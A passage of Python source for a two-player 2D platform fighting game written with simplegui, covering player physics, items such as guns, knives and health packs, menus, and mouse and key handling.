self.is_running = True\r\n \r\n if not self.can_climb:\r\n self.climbing = False\r\n self.can_run = True \r\n \r\n if self.shooting:\r\n if self.shooting_time % 15 == 0:\r\n self.shoot()\r\n \r\n #movement restrictions\r\n \r\n #border restriction\r\n if not inbounds(next_pos, PLAYER_WIDTH, PLAYER_HEIGHT): \r\n self.vel[0] = 0\r\n self.pos[1] += self.vel[1] \r\n self.vel[1] += GRAVITY\r\n \r\n if self.pos[1] >= GROUND - PLAYER_HEIGHT/2: \r\n self.pos[1] = GROUND - PLAYER_HEIGHT/2\r\n self.vel[1] = 0\r\n self.is_jumping = False\r\n \r\n #ladder movement \r\n elif self.can_climb and not self.is_jumping and not self.falling_from_ladder and not wall_collision:\r\n self.pos[0] += self.vel[0]\r\n self.pos[1] += self.vel[1] \r\n \r\n #normal movement\r\n elif not wall_collision and not on_platform and not self.climbing and inbounds(next_pos, PLAYER_WIDTH, PLAYER_HEIGHT): \r\n self.pos[0] += self.vel[0]\r\n self.pos[1] += self.vel[1] \r\n self.vel[1] += GRAVITY \r\n if self.pos[1] >= GROUND - PLAYER_HEIGHT/2: \r\n self.pos[1] = GROUND - PLAYER_HEIGHT/2\r\n self.vel[1] = 0\r\n self.is_jumping = False\r\n self.falling_from_ladder = False\r\n \r\n #movement on/beside wall\r\n elif wall_collision:\r\n \r\n if self.pos[1] < wall.top:\r\n self.pos[0] += self.vel[0]\r\n self.pos[1] += self.vel[1]\r\n \r\n else:\r\n self.pos[1] += self.vel[1]\r\n self.vel[1] += GRAVITY\r\n if self.pos[1] >= GROUND - PLAYER_HEIGHT/2: \r\n self.pos[1] = GROUND - PLAYER_HEIGHT/2\r\n self.vel[1] = 0\r\n self.falling_from_ladder = False\r\n \r\n #movement on platform\r\n elif on_platform and not self.climbing:\r\n self.pos[0] += self.vel[0]\r\n self.pos[1] += self.vel[1]\r\n \r\n #checks for fall damage\r\n if current_vel >= 30 and self.vel[1] == 0:\r\n self.take_damage('fall') \r\n \r\n self.time += 1 \r\n self.time %= self.diff * self.frames\r\n self.shooting_time += 1\r\n \r\n def jump(self):\r\n self.vel[1] = -JUMP_VEL\r\n self.is_jumping = True\r\n \r\n def climb_ladder(self):\r\n self.vel[1] += -CLIMB_VEL\r\n \r\n def down_ladder(self):\r\n self.vel[1] += CLIMB_VEL\r\n \r\n #boolean determining if player is inside a ladder\r\n def inside_ladder(self, pos):\r\n for ladder in ladders:\r\n if ladder.in_ladder(pos, PLAYER_WIDTH, PLAYER_HEIGHT):\r\n return True\r\n return False\r\n \r\n def take_damage(self, type):\r\n if type == 'fall':\r\n self.hp -= 4\r\n elif type == 'bullet':\r\n self.hp -= 6\r\n elif type == 'punch':\r\n self.hp -= 1\r\n elif type == 'weapon':\r\n self.hp -= 3 \r\n if self.hp <= 0:\r\n self.alive = False\r\n #plays death sound\r\n player_death.set_volume(0.3)\r\n player_death.play()\r\n \r\n def reload(self):\r\n if self.using_gun:\r\n if self.extra_mags > 0:\r\n self.extra_mags -= 1\r\n self.ammo = 31\r\n \r\n def shoot(self):\r\n #distance relationship between center of player and bullet\r\n if self.ammo >0:\r\n \r\n self.ammo -= 1\r\n x_diff = -70 if self.left else 70\r\n y_diff = 15\r\n pos = [self.pos[0] + x_diff, self.pos[1] - y_diff]\r\n speed = -BULLET_SPEED if self.left else BULLET_SPEED\r\n\r\n bullet_spray = random.uniform(-0.05, 0.05)\r\n image = BULLET_LEFT if self.left else BULLET_RIGHT\r\n bullets.append(Bullet(image, pos, [speed * (1-bullet_spray), speed * bullet_spray], bullet_spray)) \r\n \r\n gun_shot.set_volume(0.2)\r\n gun_shot.rewind()\r\n gun_shot.play()\r\n \r\n def punch(self, attacker):\r\n if attacker == 'player_1':\r\n if can_punch(player_1, player_2):\r\n player_2.take_damage('punch')\r\n punch_sound.set_volume(0.2)\r\n punch_sound.rewind()\r\n punch_sound.play()\r\n \r\n elif attacker == 'player_2':\r\n if can_punch(player_2, player_1):\r\n player_1.take_damage('punch')\r\n punch_sound.set_volume(0.2)\r\n punch_sound.rewind()\r\n punch_sound.play()\r\n \r\n def melee(self, attacker):\r\n if attacker == 'player_1':\r\n if can_melee(player_1, player_2):\r\n player_2.take_damage('weapon')\r\n player_1.dura -= 1\r\n \r\n elif attacker == 'player_2':\r\n if can_melee(player_2, player_1):\r\n player_1.take_damage('weapon')\r\n player_2.dura -= 1 \r\n \r\nclass Bullet:\r\n def __init__(self, image, position, velocity, rotation):\r\n self.image = image\r\n self.pos = position\r\n self.vel = velocity\r\n self.rot = rotation\r\n \r\n def draw(self, canvas):\r\n width, height = IMG_DICT[self.image]\r\n canvas.draw_image(self.image,\r\n [width/2, height/2],\r\n [width, height],\r\n self.pos,\r\n BULLET_SIZE,\r\n self.rot)\r\n \r\n def update(self):\r\n for i in range(2):\r\n self.pos[i] += self.vel[i] \r\n\r\nclass Platform:\r\n def __init__(self, image, left, right, top, bottom, center): \r\n self.image = image\r\n self.left = left\r\n self.right = right\r\n self.top = top\r\n self.bot = bottom\r\n self.size = ((self.right - self.left) * 1.7, 150)\r\n self.cent = center\r\n \r\n def draw(self, canvas):\r\n width, height = IMG_DICT[self.image]\r\n canvas.draw_image(self.image,\r\n [width/2, height/2],\r\n [width, height],\r\n self.cent,\r\n self.size)\r\n \r\n #determines if there is something on top of the platform \r\n def on_top(self, pos, width, height):\r\n on_x = pos[0] > self.left - width/2 and pos[0] < self.right + width/2\r\n near_y = pos[1] >= self.top - height/2\r\n on_y = pos[1] == self.top - height/2\r\n return on_x and near_y if not on_y else on_x and on_y\r\n\r\nclass Wall:\r\n def __init__(self, image, left, right, top, bottom, center, size): \r\n self.image = image\r\n self.left = left\r\n self.right = right\r\n self.top = top\r\n self.bot = bottom\r\n self.cent = center\r\n self.size = size\r\n \r\n def draw(self, canvas):\r\n #canvas.draw_polygon(self.corners,2,\"white\",\"white\")\r\n width, height = IMG_DICT[self.image]\r\n canvas.draw_image(self.image,\r\n [width/2, height/2],\r\n [width, height],\r\n self.cent,\r\n self.size)\r\n \r\n #determines if something is about to collide with the wall\r\n def collide(self, pos, width, height): \r\n in_x = pos[0] > self.left - width/2 and pos[0] < self.right + width/2\r\n in_y = pos[1] > self.top - height/2 and pos[1] < self.bot + height/2\r\n return in_x and in_y\r\n\r\nclass Ladder:\r\n def __init__(self, image, left, right ,top, bottom, center, size):\r\n self.image = image\r\n self.left = left\r\n self.right = right\r\n self.top = top\r\n self.bot = bottom\r\n self.cent = center\r\n self.size = size\r\n \r\n def draw(self, canvas):\r\n #canvas.draw_polygon(self.corners,2,\"red\",\"red\")\r\n width, height = IMG_DICT[self.image]\r\n canvas.draw_image(self.image,\r\n [width/2, height/2],\r\n [width, height],\r\n self.cent,\r\n self.size)\r\n \r\n #determines if a player is in the range of a ladder\r\n def in_ladder(self, pos, width, height): \r\n in_x = pos[0] >= self.left and pos[0] <= self.right\r\n in_y = pos[1] >= self.top - height/2 and pos[1] <= self.bot - height/2\r\n return in_x and in_y \r\n \r\nclass HealthPackage:\r\n def __init__(self, image, position):\r\n self.image = image\r\n self.pos = position\r\n self.vel = [0, 0]\r\n self.stuck = False\r\n self.fading = False #close to being despawned\r\n self.diff = 3\r\n self.time = 0\r\n self.living_time = 0 \r\n \r\n def draw(self, canvas):\r\n #if not about to despawn\r\n if not self.fading:\r\n width, height = IMG_DICT[self.image]\r\n canvas.draw_image(self.image,\r\n [width/2, height/2],\r\n [width, height],\r\n self.pos,\r\n HP_SIZE)\r\n \r\n else:\r\n width, height, cols = SPRITE_DICT[self.image] \r\n col = int(self.time/self.diff) % cols\r\n row = int(self.time/self.diff) // cols\r\n center_x = width / 2 + (col)*width\r\n center_y = height/2 + (row)*height\r\n canvas.draw_image(self.image,\r\n (center_x, center_y),\r\n (width, height),\r\n self.pos,\r\n HP_SIZE)\r\n \r\n def update(self):\r\n self.pos[1] += self.vel[1]\r\n if not self.stuck:\r\n self.vel[1] += GRAVITY\r\n next_pos = self.pos[1] + self.vel[1]\r\n \r\n #prevents from going into wall\r\n for wall in walls:\r\n if next_pos - HP_HEIGHT/2 >= wall.top and self.pos[0] >= wall.left and self.pos[0] <= wall.right:\r\n self.vel[1] = 0\r\n self.pos[1] = wall.top - HP_HEIGHT/2\r\n self.stuck = True\r\n \r\n #checking for platform collision (if falling fast enough will go past)\r\n for platform in platforms:\r\n #y check\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#x check\r\n if next_pos - HP_HEIGHT/2 - 10 <= platform.top and next_pos - HP_HEIGHT/2 >= platform.top and self.pos[0] >= platform.left and self.pos[0] <= platform.right and not self.vel[1] == 0:\r\n self.vel[1] = 0\r\n self.pos[1] = platform.top - HP_HEIGHT/2\r\n self.stuck = True\r\n \r\n #if about to hit the ground\r\n if next_pos - HP_HEIGHT/2 >= GROUND:\r\n self.vel[1] = 0\r\n self.pos[1] = GROUND - HP_HEIGHT/2\r\n self.stuck = True\r\n \r\n self.living_time += 1\r\n self.time += 1\r\n self.time %= self.diff * 20 #20 will always be the number of frames\r\n \r\n #determines if the package is near a player\r\n def near_player(self, pos):\r\n in_x = pos[0] >= self.pos[0] - HP_WIDTH and pos[0] <= self.pos[0] + HP_WIDTH\r\n in_y = pos[1] >= self.pos[1] - HP_HEIGHT - PLAYER_HEIGHT and pos[1] <= self.pos[1] + HP_HEIGHT\r\n return in_x and in_y \r\n \r\nclass Gun:\r\n def __init__(self, image, position, used, mags, ammo):\r\n self.image = image\r\n self.pos = position\r\n self.time = 0\r\n self.vel = [0, 0]\r\n self.stuck = False\r\n self.used = used\r\n self.fading = False #close to being despawned\r\n self.time = 0\r\n self.diff = 3\r\n self.living_time = 1100 if self.used else 0\r\n self.extra_mags = mags\r\n self.ammo = ammo\r\n \r\n def draw(self, canvas):\r\n #if not about to despawn\r\n if not self.fading:\r\n width, height = IMG_DICT[self.image]\r\n canvas.draw_image(self.image,\r\n [width/2, height/2],\r\n [width, height],\r\n self.pos,\r\n GUN_SIZE)\r\n else:\r\n width, height, cols = SPRITE_DICT[self.image] \r\n col = int(self.time/self.diff) % cols\r\n row = int(self.time/self.diff) // cols\r\n center_x = width / 2 + (col)*width\r\n center_y = height/2 + (row)*height\r\n canvas.draw_image(self.image,\r\n (center_x, center_y),\r\n (width, height),\r\n self.pos,\r\n GUN_SIZE)\r\n \r\n def update(self):\r\n self.pos[1] += self.vel[1]\r\n if not self.stuck:\r\n self.vel[1] += GRAVITY\r\n next_pos = self.pos[1] + self.vel[1]\r\n \r\n #prevents from going into wall\r\n for wall in walls:\r\n if next_pos - GUN_HEIGHT/2 >= wall.top and self.pos[0] >= wall.left and self.pos[0] <= wall.right:\r\n self.vel[1] = 0\r\n self.pos[1] = wall.top - GUN_HEIGHT/2\r\n self.stuck = True\r\n \r\n #checking for platform collision (if falling fast enough will go past)\r\n for platform in platforms:\r\n #y check\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#x check\r\n if next_pos - GUN_HEIGHT/2 - 10 <= platform.top and next_pos - GUN_HEIGHT/2 >= platform.top and self.pos[0] >= platform.left and self.pos[0] <= platform.right and not self.vel[1] == 0:\r\n self.vel[1] = 0\r\n self.pos[1] = platform.top - GUN_HEIGHT/2\r\n self.stuck = True\r\n \r\n #if about to hit the ground\r\n if next_pos - GUN_HEIGHT/2 >= GROUND:\r\n self.vel[1] = 0\r\n self.pos[1] = GROUND - GUN_HEIGHT/2\r\n self.stuck = True\r\n \r\n self.time += 1\r\n self.time %= self.diff * 20 #will always be 20 for frames\r\n self.living_time += 1\r\n \r\n #determines if near a player\r\n def near_player(self, pos):\r\n in_x = pos[0] >= self.pos[0] - GUN_WIDTH and pos[0] <= self.pos[0] + GUN_WIDTH\r\n in_y = pos[1] >= self.pos[1] - GUN_HEIGHT - PLAYER_HEIGHT and pos[1] <= self.pos[1] + GUN_HEIGHT\r\n return in_x and in_y\r\n \r\nclass Weapon:\r\n def __init__(self, image, position, used, durability):\r\n self.image = image\r\n self.pos = position\r\n self.vel = [0, 0]\r\n self.time = 0\r\n self.stuck = False\r\n self.used = used\r\n self.fading = False #close to being despawned\r\n self.time = 0\r\n self.diff = 3\r\n self.living_time = 1100 if self.used else 0\r\n self.dura = durability\r\n \r\n def draw(self, canvas):\r\n #if not about to despawn\r\n if not self.fading:\r\n width, height = IMG_DICT[self.image]\r\n canvas.draw_image(self.image,\r\n [width/2, height/2],\r\n [width, height],\r\n self.pos,\r\n KNIFE_SIZE)\r\n else:\r\n width, height, cols = SPRITE_DICT[self.image] \r\n col = int(self.time/self.diff) % cols\r\n row = int(self.time/self.diff) // cols\r\n center_x = width / 2 + (col)*width\r\n center_y = height/2 + (row)*height\r\n canvas.draw_image(self.image,\r\n (center_x, center_y),\r\n (width, height),\r\n self.pos,\r\n KNIFE_SIZE)\r\n def update(self):\r\n self.pos[1] += self.vel[1]\r\n if not self.stuck:\r\n self.vel[1] += GRAVITY\r\n next_pos = self.pos[1] + self.vel[1]\r\n \r\n #prevents from going into wall\r\n for wall in walls:\r\n if next_pos - KNIFE_HEIGHT/2 >= wall.top and self.pos[0] >= wall.left and self.pos[0] <= wall.right:\r\n self.vel[1] = 0\r\n self.pos[1] = wall.top - KNIFE_HEIGHT/2\r\n self.stuck = True\r\n \r\n #checks for platform collision (if fast enough will go through)\r\n for platform in platforms:\r\n #y check\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#x check\r\n if next_pos - KNIFE_HEIGHT/2 - 10 <= platform.top and next_pos - KNIFE_HEIGHT/2 >= platform.top and self.pos[0] >= platform.left and self.pos[0] <= platform.right and not self.vel[1] == 0:\r\n self.vel[1] = 0\r\n self.pos[1] = platform.top - KNIFE_HEIGHT/2\r\n self.stuck = True\r\n \r\n #if about to hit the ground\r\n if next_pos - KNIFE_HEIGHT/2 >= GROUND:\r\n self.vel[1] = 0\r\n self.pos[1] = GROUND - KNIFE_HEIGHT/2\r\n self.stuck = True\r\n \r\n self.time += 1\r\n self.time %= self.diff * 20 #will always be 20 frames\r\n self.living_time += 1\r\n \r\n #determines of near a player\r\n def near_player(self, pos):\r\n in_x = pos[0] >= self.pos[0] - KNIFE_WIDTH and pos[0] <= self.pos[0] + KNIFE_WIDTH\r\n in_y = pos[1] >= self.pos[1] - KNIFE_HEIGHT - PLAYER_HEIGHT and pos[1] <= self.pos[1] + KNIFE_HEIGHT\r\n return in_x and in_y\r\n\r\nclass Button:\r\n def __init__(self, image, pos, size):\r\n self.image = image\r\n self.pos = pos\r\n self.size = size\r\n self.left = pos[0] - size[0]/2\r\n self.right = pos[0] + size[0]/2\r\n self.top = pos[1] - size[1]/2\r\n self.bot = pos[1] + size[1]/2\r\n \r\n def draw(self, canvas):\r\n b_width, b_height = IMG_DICT[self.image]\r\n canvas.draw_image(self.image,\r\n [b_width/2, b_height/2],\r\n [b_width, b_height],\r\n self.pos,\r\n self.size)\r\n \r\n #collision with the mouse to determine if the mouse click is within the button range\r\n def is_selected(self, click_pos):\r\n in_x = click_pos[0] >= self.left and click_pos[0] <= self.right\r\n in_y = click_pos[1] >= self.top and click_pos[1] <= self.bot\r\n return in_x and in_y\r\n \r\n##########################################################################\r\n\r\n#globally stating button positions\r\nplay_button = Button(PLAY_BUTTON, [700, 400], (336, 146))\r\ncontrols_button = Button(CONTROLS_BUTTON, [700, 575], (336, 146))\r\nback_button = Button(BACK_BUTTON, [1000, 800], (224, 96))\r\npause_button = Button(PAUSE_BUTTON, [830, 40], (48, 48))\r\nreturn_to_main_menu_button = Button(RETURN_TO_MAIN_MENU_BUTTON, [700, 400], (336, 146))\r\nrestart_button = Button(RESTART_BUTTON, [700, 750], (336, 146))\r\nresume_button = Button(RESUME_BUTTON, [700, 225], (336, 146))\r\ncontinue_button = Button(CONTINUE_BUTTON, [700, 425], (336, 146)) \r\nplay_again_button = Button(PLAY_AGAIN_BUTTON, [700, 575], (336, 146))\r\ninfo_button = Button(INFO_BUTTON, [700, 750], (336, 146))\r\n\r\n#button booleans\r\nin_match = False\r\npaused = False\r\nlooking_at_controls = False\r\non_winning_screen = False\r\non_end_screen = False\r\nlooking_at_info = False\r\n\r\n#draw handler helper codes (for buttons)\r\n\r\n#pause buttom while match is on going\r\ndef during_match(canvas):\r\n pause_button.draw(canvas)\r\n\r\n#menu displayed once paused\r\ndef pause_menu(canvas):\r\n resume_button.draw(canvas)\r\n restart_button.draw(canvas)\r\n controls_button.draw(canvas)\r\n return_to_main_menu_button.draw(canvas)\r\n \r\n if looking_at_controls:\r\n width, height = IMG_DICT[CONTROLS]\r\n canvas.draw_image(CONTROLS,\r\n [width/2, height/2],\r\n [width, height],\r\n [FRAME_WIDTH/2, FRAME_HEIGHT/2],\r\n (850, 850)) \r\n back_button.draw(canvas)\r\n\r\n#when a player has won a match/round\r\ndef win_match_screen(canvas):\r\n global on_winning_screen\r\n continue_button.draw(canvas) \r\n on_winning_screen = True\r\n \r\n if round_winner == 'player_1':\r\n canvas.draw_text(\"Player 1 has won the round!\", (400, 200),40, \"yellow\", \"monospace\") \r\n elif round_winner == 'player_2':\r\n canvas.draw_text(\"Player 2 has won the round!\", (400, 200),40, \"yellow\", \"monospace\")\r\n elif round_winner == 'draw':\r\n canvas.draw_text(\"It's a draw!\", (570, 200), 40, \"yellow\", \"monospace\")\r\n\r\n#when a player has won the game\r\ndef end_match_screen(canvas):\r\n global on_end_screen \r\n on_end_screen = True\r\n play_again_button.draw(canvas)\r\n return_to_main_menu_button.draw(canvas)\r\n if winner == 'player_1':\r\n canvas.draw_text(\"Player 1 has won the game!\", (420, 200), 40, \"yellow\", \"monospace\")\r\n elif winner == 'player_2':\r\n canvas.draw_text(\"Player 2 has won the game!\", (420, 200), 40, \"yellow\", \"monospace\")\r\n \r\n#main menu\r\ndef main_menu(canvas):\r\n play_button.draw(canvas) \r\n controls_button.draw(canvas)\r\n info_button.draw(canvas)\r\n if looking_at_controls:\r\n width, height = IMG_DICT[CONTROLS]\r\n canvas.draw_image(CONTROLS,\r\n [width/2, height/2],\r\n [width, height],\r\n [FRAME_WIDTH/2, FRAME_HEIGHT/2],\r\n (850, 850)) \r\n back_button.draw(canvas)\r\n \r\n elif looking_at_info:\r\n width, height = IMG_DICT[RULES]\r\n canvas.draw_image(RULES,\r\n [width/2, height/2],\r\n [width, height],\r\n [FRAME_WIDTH/2, FRAME_HEIGHT/2],\r\n (850, 850)) \r\n back_button.draw(canvas)\r\n\r\n# Handers\r\ndef draw(canvas):\r\n \r\n if in_match: \r\n in_game_music.play()\r\n in_game_music.set_volume(0.05)\r\n \r\n #check boolean makes it so it only checks once if one player is dead (so score doesn't add to infinity)\r\n if should_check:\r\n check()\r\n global game_time\r\n game_time += 1\r\n \r\n #draws background and ground\r\n bgrd_width, bgrd_height = IMG_DICT[BACKGROUND]\r\n canvas.draw_image(BACKGROUND,\r\n [bgrd_width/2, bgrd_height/2],\r\n [bgrd_width, bgrd_height],\r\n [FRAME_WIDTH/2, FRAME_HEIGHT/2],\r\n [FRAME_WIDTH, FRAME_HEIGHT])\r\n\r\n ground_width, ground_height = IMG_DICT[GROUND_IMG]\r\n canvas.draw_image(GROUND_IMG,\r\n [ground_width/2, ground_height/2],\r\n [ground_width, ground_height],\r\n [FRAME_WIDTH/2, 825], #center of the ground\r\n [1500, 370])\r\n \r\n #draws the pause button\r\n during_match(canvas) \r\n \r\n #displaying the score\r\n canvas.draw_text('|', [700, 50], 40, 'white', 'monospace')\r\n canvas.draw_text(str(player_2_score), [650, 50], 40, 'blue')\r\n canvas.draw_text(str(player_1_score), [750, 50], 40, 'red')\r\n \r\n #for the icons inside the display board showing player slots\r\n item_image_size = [100, 100]\r\n \r\n #drawing player slot display boards \r\n if player_1.using_gun:\r\n p1_display_image = P1_GUN_SLOT \r\n elif player_1.using_weapon:\r\n p1_display_image = P1_KNIFE_SLOT\r\n else:\r\n p1_display_image = P1_FIST_SLOT\r\n\r\n canvas.draw_image(p1_display_image,\r\n [item_image_size[0]/2, item_image_size[1]/2],\r\n item_image_size,\r\n [1250, 45],\r\n (300, 275))\r\n if player_2.using_gun:\r\n p2_display_image = P2_GUN_SLOT \r\n elif player_2.using_weapon:\r\n p2_display_image = P2_KNIFE_SLOT\r\n else:\r\n p2_display_image = P2_FIST_SLOT\r\n\r\n canvas.draw_image(p2_display_image,\r\n [item_image_size[0]/2, item_image_size[1]/2],\r\n item_image_size,\r\n [150, 45],\r\n (300, 275))\r\n \r\n #drawing the items the player has inside of the display board\r\n if player_1.has_gun:\r\n canvas.draw_image(GUN,\r\n [item_image_size[0]/2, item_image_size[1]/2],\r\n item_image_size,\r\n [1350, 45],\r\n [150, 150])\r\n #displays gun's ammo and mags left\r\n if player_1.using_gun:\r\n canvas.draw_text(str(str(player_1.ammo) + \" | \" + str(player_1.extra_mags)), [1350, 85], 12, 'white', 'monospace')\r\n \r\n if player_1.has_weapon:\r\n canvas.draw_image(KNIFE,\r\n [item_image_size[0]/2, item_image_size[1]/2],\r\n item_image_size,\r\n [1250, 45],\r\n [150, 150])\r\n if player_2.has_gun:\r\n canvas.draw_image(GUN,\r\n [item_image_size[0]/2, item_image_size[1]/2],\r\n item_image_size,\r\n [250, 45],\r\n [150, 150])\r\n \r\n #displays gun's ammo and mags left\r\n if player_2.using_gun:\r\n canvas.draw_text(str(str(player_2.ammo) + \" | \" + str(player_2.extra_mags)), [250, 85], 12, 'white', 'monospace')\r\n\r\n if player_2.has_weapon:\r\n canvas.draw_image(KNIFE,\r\n [item_image_size[0]/2, item_image_size[1]/2],\r\n item_image_size,\r\n [150, 45],\r\n [150, 150])\r\n \r\n #displays player's health\r\n canvas.draw_line([1100 + 3 * (100 - player_1.hp), 100], [1400, 100], 20, 'red')\r\n canvas.draw_line([1100, 100], [1100 + 3 * (100 - player_1.hp), 100], 20, 'gray')\r\n canvas.draw_line([0, 100], [300 - 3 * (100 - player_2.hp), 100], 20, 'red')\r\n canvas.draw_line([300 - 3 * (100 - player_2.hp), 100], [300, 100], 20, 'gray') \r\n\r\n for platform in platforms:\r\n platform.draw(canvas)\r\n \r\n for wall in walls:\r\n wall.draw(canvas)\r\n\r\n for ladder in ladders:\r\n ladder.draw(canvas)\r\n\r\n for player in players:\r\n player.draw(canvas)\r\n if not paused:\r\n player.update()\r\n\r\n #code for random spawn of items\r\n if not paused:\r\n #spawns a new object every 20 seconds\r\n if game_time % 1200 == 0:\r\n number = random.randint(1, 5)\r\n if number == 1 or number == 2:\r\n weapons.append(Weapon(KNIFE, random_pos('knife'), False, DURABILITY))\r\n game_time %= 1200\r\n elif number == 3 or number == 4:\r\n guns.append(Gun(GUN, random_pos('gun'), False, EXTRA_MAGS, AMMO))\r\n game_time %= 1200\r\n elif number == 5:\r\n health_packages.append(HealthPackage(HEALTH_PACKAGE, random_pos('hp')))\r\n game_time %= 1200\r\n \r\n #drawing and updating guns\r\n for gun in guns: \r\n #checks if gun is about to despawn \r\n if not paused:\r\n if gun.living_time >= ITEM_LIFE_SPAN:\r\n gun.fading = True\r\n gun.image = GUN_FADE\r\n if gun.living_time >= ITEM_LIFE_SPAN + ITEM_FADE_SPAN:\r\n guns.remove(gun)\r\n else: \r\n #checks to see if player is in range of the gun\r\n if gun.near_player(player_1.pos) or gun.near_player(player_2.pos):\r\n gun.image = GUN_PROMPT\r\n else:\r\n gun.image = GUN\r\n gun.update()\r\n gun.draw(canvas)\r\n \r\n #drawing and updating weapons\r\n for weapon in weapons:\r\n if not paused:\r\n #checks if weapon is about to despawn\r\n if weapon.living_time >= ITEM_LIFE_SPAN:\r\n weapon.fading = True\r\n weapon.image = KNIFE_FADE\r\n if weapon.living_time >= ITEM_LIFE_SPAN + ITEM_FADE_SPAN:\r\n weapons.remove(weapon)\r\n else:\r\n #checks to see if player is in range of the gun\r\n if weapon.near_player(player_1.pos) or weapon.near_player(player_2.pos):\r\n weapon.image = KNIFE_PROMPT\r\n else:\r\n weapon.image = KNIFE\r\n weapon.update()\r\n weapon.draw(canvas)\r\n \r\n #drawing and updating health packages\r\n for hp in health_packages:\r\n if not paused:\r\n #checks if package is about to despawn\r\n if hp.living_time >= ITEM_LIFE_SPAN:\r\n hp.fading = True\r\n hp.image = HP_FADE\r\n if hp.living_time >= ITEM_LIFE_SPAN + ITEM_FADE_SPAN:\r\n health_packages.remove(hp) \r\n else: \r\n #checks to see if player is in range of a package\r\n if hp.near_player(player_1.pos) or hp.near_player(player_2.pos):\r\n hp.image = HEALTH_PACKAGE_PROMPT\r\n else:\r\n hp.image = HEALTH_PACKAGE\r\n hp.update()\r\n hp.draw(canvas)\r\n \r\n #drawing and updating bullets\r\n for bullet in bullets:\r\n if not paused:\r\n bullet.update()\r\n #removes if not inbounds\r\n if not inbounds(bullet.pos, BULLET_WIDTH, BULLET_HEIGHT):\r\n bullets.remove(bullet)\r\n #removes if collided with wall\r\n for wall in walls:\r\n if wall.collide(bullet.pos, BULLET_WIDTH, BULLET_HEIGHT):\r\n bullets.remove(bullet)\r\n #checks if a bullet hit a player \r\n for player in players:\r\n if been_shot(player.pos, bullet.pos):\r\n player.take_damage('bullet')\r\n bullets.remove(bullet)\r\n if not player.alive:\r\n player.stuck = True \r\n bullet.draw(canvas)\r\n \r\n if paused:\r\n pause_menu(canvas)\r\n \r\n #if one of the players died, or both\r\n if player_1.alive and not player_2.alive or player_2.alive and not player_1.alive or not player_1.alive and not player_2.alive:\r\n player_1.stuck = True\r\n player_2.stuck = True\r\n player_1.shooting = False\r\n player_2.shooting = False\r\n if player_1_score == 5:\r\n end_match_screen(canvas)\r\n elif player_2_score == 5:\r\n end_match_screen(canvas)\r\n else:\r\n win_match_screen(canvas)\r\n \r\n #if in main menu\r\n else:\r\n bgrd_music.play()\r\n bgrd_music.set_volume(0.5)\r\n \r\n #drawing scrolling background\r\n canvas.draw_image(MAIN_MENU_BG,\r\n [scroll_width/2, scroll_height/2],\r\n [scroll_width, scroll_height],\r\n bgrd_pos_sky,\r\n [FRAME_WIDTH * 2, FRAME_HEIGHT])\r\n bgrd_pos_sky[0] = (bgrd_pos_sky[0] - BGRD_SPEED_SKY) % (FRAME_WIDTH)\r\n \r\n canvas.draw_image(MAIN_MENU_BG_BUILDING,\r\n [scroll_width/2, scroll_height/2],\r\n [scroll_width, scroll_height],\r\n bgrd_pos_building,\r\n [FRAME_WIDTH * 2 , FRAME_HEIGHT])\r\n bgrd_pos_building[0] = (bgrd_pos_building[0] - BGRD_SPEED) % (FRAME_WIDTH)\r\n \r\n width, height = IMG_DICT[TITLE]\r\n canvas.draw_image(TITLE,\r\n [width/2, height/2],\r\n [width, height],\r\n [700, 175],\r\n (1000, 200))\r\n main_menu(canvas)\r\n\r\ndef mouse_handler(mouse_position):\r\n global in_match, paused, looking_at_controls, on_winning_screen, on_end_screen, looking_at_info\r\n #pause button\r\n if in_match:\r\n if pause_button.is_selected(mouse_position):\r\n paused = True\r\n button_selected.rewind()\r\n button_selected.play()\r\n \r\n if not in_match:\r\n if not looking_at_controls and not looking_at_info:\r\n #play button\r\n if play_button.is_selected(mouse_position):\r\n new_game()\r\n in_match = True\r\n bgrd_music.pause()\r\n in_game_music.rewind()\r\n button_selected.rewind()\r\n button_selected.play()\r\n\r\n #info button\r\n if info_button.is_selected(mouse_position):\r\n looking_at_info = True\r\n button_selected.rewind()\r\n button_selected.play()\r\n\r\n #controls button\r\n if not in_match or paused:\r\n if not looking_at_controls and not looking_at_info:\r\n if controls_button.is_selected(mouse_position):\r\n looking_at_controls = True\r\n button_selected.rewind()\r\n button_selected.play()\r\n \r\n #back button\r\n if back_button.is_selected(mouse_position):\r\n looking_at_controls = False\r\n looking_at_info = False\r\n button_selected.rewind()\r\n button_selected.play()\r\n \r\n #return to main menu button\r\n if paused or on_end_screen: \r\n if not looking_at_controls:\r\n if return_to_main_menu_button.is_selected(mouse_position):\r\n paused = False\r\n in_match = False\r\n on_end_screen = False\r\n bgrd_music.rewind()\r\n in_game_music.pause()\r\n button_selected.rewind()\r\n button_selected.play()\r\n \r\n \r\n if paused:\r\n if not looking_at_controls:\r\n \r\n #resume button\r\n if resume_button.is_selected(mouse_position):\r\n button_selected.rewind()\r\n button_selected.play()\r\n paused = False\r\n\r\n #updates the player's attributes once pause ended\r\n for player in players:\r\n player.vel[0] = 0\r\n if player.is_running:\r\n player.is_running = False\r\n player.idling = True\r\n if player.climbing:\r\n player.vel[1] = 0\r\n player.climbing = False\r\n if player.shooting:\r\n player.shooting = False\r\n player.stuck = False \r\n if player.punching or player.meleeing:\r\n player.punching = False\r\n player.meleeing = False\r\n player.stuck = False \r\n \r\n #restart button\r\n if restart_button.is_selected(mouse_position):\r\n paused = False\r\n new_game()\r\n in_game_music.rewind()\r\n button_selected.rewind()\r\n button_selected.play() \r\n \r\n #continue button\r\n if on_winning_screen:\r\n if continue_button.is_selected(mouse_position):\r\n new_round()\r\n on_winning_screen = False\r\n in_game_music.rewind()\r\n player_death.rewind()\r\n button_selected.rewind()\r\n button_selected.play()\r\n \r\n #play again button\r\n if on_end_screen:\r\n if play_again_button.is_selected(mouse_position):\r\n new_game()\r\n in_game_music.rewind()\r\n button_selected.rewind()\r\n button_selected.play()\r\n \r\ndef key_press(key):\r\n #player won't be able to do anything if they are stuck, dead, or the game is paused\r\n if not player_1.stuck and player_1.alive and not paused:\r\n \r\n if key == simplegui.KEY_MAP['right']: \r\n player_1.idling = False \r\n player_1.right = True\r\n player_1.left = False \r\n player_1.vel[0] = PLAYER_SPEED \r\n player_1.is_running = True\r\n player_1.diff = 10 \r\n \r\n #prevents bug where you'd run right but with the left animation\r\n if player_1.using_weapon:\r\n player_1.image = RUN_RIGHT_KNIFE\r\n elif player_1.using_gun:\r\n 